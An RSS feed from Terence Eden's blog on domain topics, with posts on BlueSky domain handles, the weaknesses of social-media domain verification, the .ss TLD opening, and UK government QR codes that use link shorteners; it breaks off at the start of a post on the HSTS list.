<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/rss-style.xsl" type="text/xsl"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	     xmlns:dc="http://purl.org/dc/elements/1.1/"
	   xmlns:atom="http://www.w3.org/2005/Atom"
	     xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	  xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>domains &#8211; Terence Eden’s Blog</title>
	<atom:link href="https://shkspr.mobi/blog/tag/domains/feed/" rel="self" type="application/rss+xml" />
	<link>https://shkspr.mobi/blog</link>
	<description>Regular nonsense about tech and its effects 🙃</description>
	<lastBuildDate>Fri, 20 Mar 2026 08:22:03 +0000</lastBuildDate>
	<language>en-GB</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://shkspr.mobi/blog/wp-content/uploads/2023/07/cropped-avatar-32x32.jpeg</url>
	<title>domains &#8211; Terence Eden’s Blog</title>
	<link>https://shkspr.mobi/blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title><![CDATA[Exploring BlueSky's Domain Handles]]></title>
		<link>https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/</link>
					<comments>https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 03 Dec 2024 12:34:57 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[BlueSky]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[visualisation]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=54241</guid>

					<description><![CDATA[Hot new social networking site BlueSky has an interesting approach to usernames. Rather than just being @example you can verify your domain name and be @example.com! Isn&#039;t that exciting?  Some people are @whatever.tld and others are @cool.subdomain.funny.lol.fwd.boring.tld  I wanted to know what the distribution is of these domain names. For example, are there more .uk users than .org users? …]]></description>
										<content:encoded><![CDATA[<p>Hot new social networking site BlueSky has an interesting approach to usernames. Rather than just being <code>@example</code> you can verify your domain name and be <code>@example.com</code>! Isn't that exciting?</p>

<p>Some people are <code>@whatever.tld</code> and others are <code>@cool.subdomain.funny.lol.fwd.boring.tld</code></p>

<p>I wanted to know what the distribution is of these domain names. For example, are there more .uk users than .org users?</p>

<h2 id="shut-up-and-show-me-the-results"><a href="https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#shut-up-and-show-me-the-results">Shut up and show me the results</a></h2>

<p><a href="https://edent.github.io/bsky-domain-graphs/treemap.html"><img src="https://shkspr.mobi/blog/wp-content/uploads/2024/11/TLD-fs8.png" alt="Treemap of top level domains. It is dominated by .com, although .social is very popular." width="1533" height="755" class="aligncenter size-full wp-image-54242"></a></p>

<p>You can <a href="https://edent.github.io/bsky-domain-graphs/treemap.html">play with the interactive data</a></p>

<p>Oh, and the large number of .gy domains is due to <a href="https://bsky.app/profile/edent.tel/post/3lbewj5vwhk2j">The Fediverse Bridge</a>.</p>

<h2 id="getting-the-data"><a href="https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#getting-the-data">Getting the data</a></h2>

<p>BlueSky has an open "firehose" of the data passing through it. Following <a href="https://github.com/MarshalX/atproto/blob/main/examples/firehose/process_commits_async.py">the sample code</a> I listened for <em>public</em> interactions - people posting, liking, or follows.</p>

<p>From there, I grabbed every username which wasn't on the default <code>.bsky.social</code> domain.  I left the code running for a few days until I had over 22,000 usernames.</p>

<p>Note, these data are all public - although I'm not sure if users necessarily realise that. It doesn't include lurkers (people who don't interact). Some of the accounts may have been moved, banned, or deleted.</p>

<h2 id="drawing-a-treemap"><a href="https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#drawing-a-treemap">Drawing a TreeMap</a></h2>

<p>I used <a href="https://plotly.com/python/treemaps/">Plotly's TreeMap library</a> to draw a static map of all the Top Level Domains (TLD).</p>

<p>As you can see, .com dominates the landscape - but there are quite a few country code TLDs in there as well.</p>

<h2 id="public-suffixes"><a href="https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#public-suffixes">Public Suffixes</a></h2>

<p>Domain names have the concepts of <a href="https://publicsuffix.org/">Public Suffixes</a>. For example, users can register domains at .co.uk and .org.uk as well as just plain .uk.  The <a href="https://pypi.org/project/tldextract/">Python <code>tldextract</code> library</a> allowed me to see which domains were public suffixes, so I could attach them to their parent TLD.</p>

<p>I then drew a TreeMap showing this.</p>

<p><a href="https://edent.github.io/bsky-domain-graphs/public-suffix.html"><img src="https://shkspr.mobi/blog/wp-content/uploads/2024/11/PS-fs8.png" alt="TreeMap. UK, followed by Brazil, then many other countries." width="1517" height="719" class="aligncenter size-full wp-image-54243"></a></p>

<p>Note! You'll need to <a href="https://community.plotly.com/t/ignore-non-leaves-rows-for-sunburst-diagram/60789">hack your Plotly installation to allow empty leaf nodes</a> to get in the same style as the first map.</p>

<h2 id="so-what-what-next"><a href="https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#so-what-what-next">So what? What next?</a></h2>

<ul>
<li>Not everyone from, say, Brazil will have a .br domain name - but it is fascinating to see which countries dominate.</li>
<li>It might be fun to go full "Information Is Beautiful" and turn each ccTLD into its country's flag.</li>
<li>Are there ethical implications of recording the fact that an account has publicly shared themselves on a social network?</li>
<li>What percentage of all users have a domain name handle?</li>
</ul>

<h2 id="get-the-code"><a href="https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/#get-the-code">Get the code</a></h2>

<p>Everything is <a href="https://github.com/edent/bsky-domain-graphs">open source on GitHub</a>.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=54241&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2024/12/exploring-blueskys-domain-handles/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[A few thoughts on domain verification for social media]]></title>
		<link>https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/</link>
					<comments>https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sun, 01 Dec 2024 12:34:24 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[BlueSky]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[mastodon]]></category>
		<category><![CDATA[Social Media]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=54056</guid>

					<description><![CDATA[Both Mastodon and BlueSky have the concept of &#34;self-verification&#34;. Rather than trust a central authority to assess your notability and then bless your account (as Twitter used to do), they let anyone self-attest using Domain Verification.  What does that mean?   You tell the service what your website is. The service gives you a secret code. You upload that secret code onto your website. The…]]></description>
										<content:encoded><![CDATA[<p>Both Mastodon and BlueSky have the concept of "self-verification". Rather than trust a central authority to assess your notability and then bless your account (as Twitter used to do), they let anyone self-attest using Domain Verification<sup id="fnref:complicated"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fn:complicated" class="footnote-ref" title="It is a lot more complicated than that - as per this essay by Christine Lemmer-Webber." role="doc-noteref">0</a></sup>.</p>

<p>What does that mean?</p>

<ul>
<li>You tell the service what your website is.</li>
<li>The service gives you a secret code<sup id="fnref:secret"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fn:secret" class="footnote-ref" title="Secret in the sense that they only generate it for you. It isn't private. Nothing bad will happen if other people see it." role="doc-noteref">1</a></sup>.</li>
<li>You upload that secret code onto your website.</li>
<li>The service checks the secret code is on the website.</li>
<li>If it is, the service says your domain is verified.</li>
</ul>

<p>On Mastodon, that gives you a green tick next to your link. On BlueSky, it gives you the ability to change your username to your website's name.</p>

<p>This is <em>reasonably</em> strong proof that you are the owner of that website. I don't have the ability to add the secret file I've been given to <code>bbc.co.uk</code>, so I cannot impersonate them.</p>

<p>But it isn't all sunshine and roses. There are some important issues with this process.</p>

<h2 id="revocation-and-revalidation"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#revocation-and-revalidation">Revocation and Revalidation</a></h2>

<p>Let's say an employee has validated <code>alice.big_company.com</code> - what happens when Alice leaves<sup id="fnref:alice"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fn:alice" class="footnote-ref" title="Let's assume she's naughty and doesn't remove the validation herself from her profile." role="doc-noteref">2</a></sup>?</p>

<p>Well, you just delete the secret code from your website, right?</p>

<p>In <em>theory</em> yes. But in practice, no.</p>

<p>From <a href="https://bsky.social/about/blog/4-28-2023-domain-handle-tutorial#:~:text=revalidate">BlueSky</a>:</p>

<blockquote><p>We're working on adding the ability to revalidate these handles periodically.</p></blockquote>

<p>And <a href="https://github.com/mastodon/mastodon/issues/27847">Mastodon</a>:</p>

<blockquote><p>Verified links are currently verified at each time the profile is updated, but they will only be verified once, when initially entered.</p></blockquote>

<p>So, at the moment, there is a risk that revalidation isn't completed and revocation never happens<sup id="fnref:rev"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fn:rev" class="footnote-ref" title="It appears that it takes BlueSky around 2 hour to detect and revoke verification." role="doc-noteref">3</a></sup>.  Accounts which were once trusted may stay trusted, even when they're no longer trustworthy.</p>

<h2 id="copy-cat-domains"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#copy-cat-domains">Copy Cat Domains</a></h2>

<p>You're chatting with your credit card company's social media account. You see that they've verified the domain.</p>

<p>Wait?! Are they <em>really</em> <code>mastercrrd.info ✅</code>?</p>

<p>There are several practical attacks against humans trying to validate a domain name. A simple misspelling is easy to overlook. There are thousands of top level domains, and you may not be sure if your bank uses .com, .uk, .tech, or something else.  It only costs a few quid for an attacker to buy a domain which contains a politician's name.</p>

<p>International domain names mean that <a href="https://www.malwarebytes.com/blog/news/2017/10/out-of-character-homograph-attacks-explained">homograph attacks</a> are possible.</p>

<h2 id="humans-arent-very-clever"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#humans-arent-very-clever">Humans aren't very clever</a></h2>

<p>Recently, several prominent journalists on BlueSky embarrassed themselves by pronouncing fake accounts to be real. The journalists - with all their resources and contacts - didn't bother to actually verify if the person who registered <code>@KemiBadenoch</code> was really the Leader of the Opposition.</p>

<p>They could have checked her website to see if it linked to the new account. They could have rung up the Tory press office. They could have checked to see if she have verified her account. Or they could have done a dozen other things to verify the facts before posting.  They didn't.</p>

<p>These aren't random users blindly reposting. These are highly educated, thoroughly trained fact-finders. Their mission is accuracy and their livelihood depends on being able to report the truth. And yet they just <em>assumed</em> that no one would lie on the Internet.</p>

<p>Would a journalist be able to spot that <code>tailer-swift.fartotron.xyz</code> was an impersonator? I highly doubt it<sup id="fnref:wrong"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fn:wrong" class="footnote-ref" title="Prove me wrong. Seriously. So many journalists seem utterly credulous." role="doc-noteref">4</a></sup>.</p>

<h2 id="hacks-happen"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#hacks-happen">Hacks Happen</a></h2>

<p>Even when Twitter was validating celebrities correctly, it didn't stop <a href="https://www.bbc.co.uk/news/technology-65540901">the accounts getting hacked</a>.</p>

<p>An attacker might compromise your social media account <em>or</em> your domain name registrar.</p>

<p>Just because an account and domain appear verified, it doesn't mean they're legitimate. Is that politician you follow <em>really</em> posting about dietary supplements?</p>

<h2 id="it-might-be-too-difficult-for-large-organisation"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#it-might-be-too-difficult-for-large-organisation">It might be too difficult for large organisation</a></h2>

<p>I've written <a href="https://shkspr.mobi/blog/2024/11/an-easy-guide-to-bluesky-verification/">An Easy Guide To BlueSky Verification</a>. It can be as simple as uploading a single file to your website. Although I have some sympathy for claims that managing the process for hundreds of employees might be difficult.</p>

<p>Based on <a href="https://bsky.app/profile/edent.tel/post/3lbwpu7zmuc2r">my calculations</a> around 5% of active BlueSky users have verified their domain.</p>

<h2 id="the-alternative-isnt-much-better"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#the-alternative-isnt-much-better">The alternative isn't much better</a></h2>

<p>Verification is <em>hard</em>. Can an over-worked verification team spot that I've photoshopped a passport so that it looks like someone else's?</p>

<p>There are hundred of famous people called <a href="https://en.wikipedia.org/wiki/John_Williams_(disambiguation)">John Williams</a> - which one do you verify?</p>

<p>Also, <em>what</em> are you verifying? In my post on <a href="https://shkspr.mobi/blog/2021/08/rethinking-twitter-verification/">Rethinking Twitter Verification</a>, I pointed out that the ambiguity of verification leads to some weird and non-obvious outcomes.</p>

<h2 id="final-thoughts"><a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#final-thoughts">Final thoughts</a></h2>

<p>There are no simple technological fixes to complex social issues.</p>

<p>But I'm naïve enough to believe that, with time, we can train people to be better at assessing the information they are given.</p>

<div id="footnotes" role="doc-endnotes">
<hr>
<ol start="0">

<li id="fn:complicated">
<p>It is a <em>lot</em> more complicated than that - <a href="https://dustycloud.org/blog/how-decentralized-is-bluesky/">as per this essay by Christine Lemmer-Webber</a>.&nbsp;<a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fnref:complicated" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:secret">
<p>Secret in the sense that they only generate it for you. It isn't private. Nothing bad will happen if other people see it.&nbsp;<a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fnref:secret" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:alice">
<p>Let's assume she's naughty and doesn't remove the validation herself from her profile.&nbsp;<a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fnref:alice" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:rev">
<p>It appears that <a href="https://bsky.app/profile/edent.tel/post/3lbcbpad5m42p">it takes BlueSky around 2 hour to detect and revoke verification</a>.&nbsp;<a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fnref:rev" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:wrong">
<p>Prove me wrong. Seriously. <a href="https://bsky.app/profile/edent.tel/post/3lb6glt5d7k2m">So many journalists seem utterly credulous</a>.&nbsp;<a href="https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/#fnref:wrong" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

</ol>
</div>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=54056&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2024/12/a-few-thoughts-on-domain-verification-for-social-media/feed/</wfw:commentRss>
			<slash:comments>9</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[.ss TLD opening for direct registrations]]></title>
		<link>https://shkspr.mobi/blog/2024/07/ss-tld-opening-for-direct-registrations/</link>
					<comments>https://shkspr.mobi/blog/2024/07/ss-tld-opening-for-direct-registrations/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 31 Jul 2024 11:34:05 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[africa]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[ICANN]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[tld]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=51212</guid>

					<description><![CDATA[It looks like South Sudan&#039;s Top Level Domain is going to start allowing direct registrations!  Long-time readers of this blog will know that it&#039;s possible to register  .me.ss domain names - there are various other 3rd level domains you can buy.  But, from the 1st of August 2024, you&#039;ll be able to apply for a 2nd level. So you&#039;ll be able to grab example.ss.  Here&#039;s the official announcement.    As …]]></description>
										<content:encoded><![CDATA[<p>It looks like South Sudan's Top Level Domain is going to start allowing direct registrations!</p>

<p>Long-time readers of this blog will know that <a href="https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/">it's possible to register  <code>.me.ss</code> domain names</a> - there are various other <a href="https://nic.ss/faqs/">3rd level domains</a> you can buy.</p>

<p>But, from the 1st of August 2024, you'll be able to apply for a 2nd level. So you'll be able to grab <code>example.ss</code>.</p>

<p><a href="https://nic.ss/wp-content/uploads/2024/07/ssNIC-Registry-Sunrise-Registration-Policy-July-2024.pdf">Here's the official announcement</a>.</p>

<p><a href="https://nic.ss/wp-content/uploads/2024/07/ssNIC-Registry-Sunrise-Registration-Policy-July-2024.pdf"><img src="https://shkspr.mobi/blog/wp-content/uploads/2024/07/Sunrisess-fs8.png" alt="National Communication Authority (NCA) ssNIC Registry Sunrise Registration Policy July 2024. 1 Duration: The Registry will run the registration process according to the below timetable: Sunrise Period: 45 Days (1st August – 15th September 2024). Landrush Period: 30 Days (20th September – 10th October 2024). Early Access Period: 10 Days (15th October – 25th October 2024). General Availability: 1st November 2024" width="750" class="aligncenter size-full wp-image-51213"></a></p>

<p>As per normal for a new TLD, there will be a period where organisations with Trade Marks can register their domains. Then a period where anyone with sufficient cash can register their cool idea for a domain. Then it opens up to everyone.</p>

<p>So what will they cost? <a href="https://www.afriregister.com/">Afriregister</a> provided these prices:</p>

<table>
<thead>
<tr>
  <th>Period</th>
  <th align="right">Domain</th>
  <th align="right">Registration</th>
  <th align="right">Renewal</th>
</tr>
</thead>
<tbody>
<tr>
  <td>Sunrise (2 years)</td>
  <td align="right">.ss</td>
  <td align="right">€1020</td>
  <td align="right">€110</td>
</tr>
<tr>
  <td></td>
  <td align="right">.co.ss</td>
  <td align="right">€610</td>
  <td align="right">€60</td>
</tr>
<tr>
  <td>Landrush (1 year)</td>
  <td align="right">.ss</td>
  <td align="right">€300</td>
  <td align="right">€110</td>
</tr>
<tr>
  <td></td>
  <td align="right">.co.ss</td>
  <td align="right">€160</td>
  <td align="right">€60</td>
</tr>
<tr>
  <td>Early Access (1 year)</td>
  <td align="right">.ss</td>
  <td align="right">€220</td>
  <td align="right">€110</td>
</tr>
<tr>
  <td></td>
  <td align="right">.co.ss</td>
  <td align="right">€160</td>
  <td align="right">€60</td>
</tr>
<tr>
  <td>General (1 year)</td>
  <td align="right">.ss</td>
  <td align="right">€110</td>
  <td align="right">€110</td>
</tr>
<tr>
  <td></td>
  <td align="right">.co.ss</td>
  <td align="right">€60</td>
  <td align="right">€60</td>
</tr>
</tbody>
</table>

<p>For comparison, their .me.ss domains are only €25.</p>

<p>Registrations will only be allowed in ASCII - which means no IDNs.  The majority of the languages officially recognised in South Sudan appear to be written in the Latin script, so that shouldn't be a huge issue.</p>

<p>As is common with all other TLDs, there is a list of words which will not be allowed to be registered.</p>

<blockquote><p>Applications will not be accepted for domain names appearing on the Second Level Domain (SLD) block list.</p></blockquote>

<p>When I previously investigated this, there were lots of names which weren't available due to local politics. Although there is <a href="https://web.archive.org/web/20210813045419/https://nic.ss/download/reserved_restricted_premium_list/?wpdmdl=2330&amp;refresh=6115fae57ea441628830437">an archived version of the list of banned words (PDF)</a>, the modern SLD Block List appears to have vanished from the registry. I've asked them for an updated list which I'll link to once I get it.</p>

<p>I think it is fair to say that <a href="https://www.theregister.com/2019/01/24/south_sudan_nazi_domain/">the .ss TLD has had a tumultuous history</a>.  There hasn't been much discussion of this change in policy since <a href="https://x.com/NCA_SSD/status/1811778704059547783/quotes">the announcement a few weeks ago</a> - but I hope that this opening up will help South Sudanese people &amp; businesses to establish their own distinct presence on the Internet.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=51212&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2024/07/ss-tld-opening-for-direct-registrations/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[What the UK Government gets wrong about QR codes]]></title>
		<link>https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/</link>
					<comments>https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 20 Mar 2024 12:34:04 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[gov.uk]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[QR Codes]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=49986</guid>

					<description><![CDATA[One of my most memorable experiences in the Civil Service was discussing link shortening services with a very friendly person from the Foreign and Commonwealth Office.  I was trying to explain why link shortners like bit.ly and ow.ly weren&#039;t sensible for Government use. They didn&#039;t seem to particularly care about the privacy implications or the risk of phishing.  I needed to take a different…]]></description>
										<content:encoded><![CDATA[<p>One of my most memorable experiences in the Civil Service<sup id="fnref:cs"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#fn:cs" class="footnote-ref" title="I am no longer a Civil Servant. The Government's views are not my own. And vice-versa." role="doc-noteref">0</a></sup> was discussing link shortening services with a very friendly<sup id="fnref:friend"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#fn:friend" class="footnote-ref" title="But not so friendly that they'd tell me their surname..." role="doc-noteref">1</a></sup> person from the Foreign and Commonwealth Office.</p>

<p>I was trying to explain why link shortners like bit.ly and ow.ly weren't sensible for Government use. They didn't seem to particularly care about <a href="https://shkspr.mobi/blog/2020/02/bitly-finally-starts-taking-privacy-seriously/">the privacy implications</a> or the risk of phishing.  I needed to take a different tack.</p>

<p>"So, you know how .uk is the UK and .de is Germany, right?"<br>
"Yes."<br>
"What country do you think .ly is for?"</p>

<p>There was some consulting of <a href="https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#LY">ISO 3166-1 alpha-2</a> whereupon the blood drained from their face and they stepped outside to make a phone call.</p>

<p>A little while later, the <a href="https://webarchive.nationalarchives.gov.uk/ukgwa/20220301154404/https://www.ncsc.gov.uk/blog-post/long-and-short-it">National Cyber Security Centre published an explainer about why they weren't using bit.ly any more</a>.</p>

<p>Throughout my time in the Civil Service I advocated for the use of .gov.uk URls everywhere. They're a trusted destination for users, they're under Government control so are less likely to be hijacked, and they don't require users to give their data to third parties.</p>

<p>I helped the Government Communication Service write "<a href="https://gcs.civilservice.gov.uk/blog/link-shorteners-the-long-and-short-of-why-you-shouldnt-use-them/">Link shorteners: the long and short of why you shouldn’t use them</a>."</p>

<p>Today, in the post, I received <strong>six</strong> QR codes for Government services.  Let's take a look at them.</p>

<h2 id="the-good"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#the-good">The Good</a></h2>

<p>Policing Surrey have a QR code which points to <code>surrey-pcc.gov.uk/...</code></p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2024/03/PCC.jpg" alt="A leaflet for Surrey Police." width="504" height="512" class="aligncenter size-full wp-image-49992">

<p>Excellent! 10/10! No notes.</p>

<p>Woking Council send out this code which use <code>qr.woking.gov.uk</code></p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2024/03/Woking.jpg" alt="A letter about council tax." width="504" height="512" class="aligncenter size-full wp-image-49989">

<p>Brilliant! The use of the <code>qr.</code> subdomain means they can easily track how many people follow the link from the code.</p>

<h2 id="the-bad"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#the-bad">The Bad</a></h2>

<p>Childcare Choices is a leaflet which is, I assume, shoved through everyone's letterbox.  All the URls in the leaflet say <code>gov.uk</code><sup id="fnref:brand"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#fn:brand" class="footnote-ref" title="When I was there, the &quot;Brand Police&quot; were insistent that it should be referred to as GOV.UK in all-caps. The leaflet exclusively uses the lower-case version. Sorry Neil!" role="doc-noteref">2</a></sup> - but what happens when you scan?</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2024/03/ChildCare-QR.jpg" alt="A leaflet for Childcare with a prominent QR code." width="504" height="256" class="aligncenter size-full wp-image-49993">

<p>Our old <del>friend</del> enemy Bitly. A user scanning this has no idea where that code will take them. They cannot access the content without giving their data away to Bitly.</p>

<p>Surrey also sent me a leaflet with <strong>two</strong> different QR codes.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2024/03/Surrey2.jpg" alt="A leaflet for Surrey - the QR code points to scnv.io." width="504" height="256" class="aligncenter size-full wp-image-49990">

<img src="https://shkspr.mobi/blog/wp-content/uploads/2024/03/Surrey1.jpg" alt="A leaflet for Surrey - the QR code points to scnv.io." width="504" height="256" class="aligncenter size-full wp-image-49991">

<p>There <a href="https://www.beep.blog/io/">are many reasons not to use .io</a>. Of particular interest is the <a href="https://scnv.io/">scnv.io privacy policy</a> which, if you click that link, you will see is missing from their website! What does this company do with the data of people who scan that code? No one knows!</p>

<h2 id="the-ugly"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#the-ugly">The Ugly</a></h2>

<p>Surrey police started <em>so</em> well, but the back of their leaflet is a major disappointment.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2024/03/PCC2.jpg" alt="A police leaflet. The QR code is almost invisible." width="504" height="512" class="aligncenter size-full wp-image-49988">

<p>Aside from using an unintelligible Bitly link, the QR code is inverted. The QR standard is very clear that the codes should be black-on-white. Some scanners will have difficulty scanning these white-on-dark codes. They may look æsthetically pleasing, but it's a pretty rubbish experience if you can't scan them.</p>

<h2 id="now-what"><a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#now-what">Now What?</a></h2>

<p><a href="https://shkspr.mobi/blog/2007/12/qr-codes/">I've been writing about QR codes for <em>17 years!</em></a> I'm thrilled that they've finally caught on. But, like any piece of technology, they need to be used sensibly. The <a href="https://shkspr.mobi/blog/2011/05/you-are-too-stupid-to-use-qr-codes-correctly/">rules are pretty straightforward</a> - mostly boiling down to testing your codes and keeping them simple.</p>

<p>Is there a risk <a href="https://shkspr.mobi/blog/2011/12/how-to-prevent-qr-hijacking/">risk of QR hijacking</a>? Possibly. The best defence is to train users to look for a trusted URl.</p>

<p>In this case, using link shorteners is training users to be phished. If they are used to official Government QR codes going to weird locations, they won't notice when a scammer tries to send them to a dodgy site.</p>

<p>Please practice safe QR generation!</p>

<div id="footnotes" role="doc-endnotes">
<hr>
<ol start="0">

<li id="fn:cs">
<p>I am no longer a Civil Servant. The Government's views are not my own. And vice-versa.&nbsp;<a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#fnref:cs" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:friend">
<p>But not so friendly that they'd tell me their surname...&nbsp;<a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#fnref:friend" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:brand">
<p>When I was there, the "Brand Police" were insistent that it should be referred to as GOV.UK in all-caps. The leaflet exclusively uses the lower-case version. Sorry Neil!&nbsp;<a href="https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/#fnref:brand" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

</ol>
</div>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=49986&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2024/03/what-the-uk-government-gets-wrong-about-qr-codes/feed/</wfw:commentRss>
			<slash:comments>12</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[A quick look inside the HSTS file]]></title>
		<link>https://shkspr.mobi/blog/2024/01/a-quick-look-inside-the-hsts-file/</link>
					<comments>https://shkspr.mobi/blog/2024/01/a-quick-look-inside-the-hsts-file/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Wed, 03 Jan 2024 12:34:36 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[CyberSecurity]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=49041</guid>

					<description><![CDATA[You type in to your browser&#039;s address bar example.com and it automatically redirects you to the https:// version. How does your browser know that it needed to request the more secure version of a website?  The answer is... A big list.  The HTTP Strict Transport Security (HSTS) list is a list of domain names which have told Google that they always want their website served over https.  If the user …]]></description>
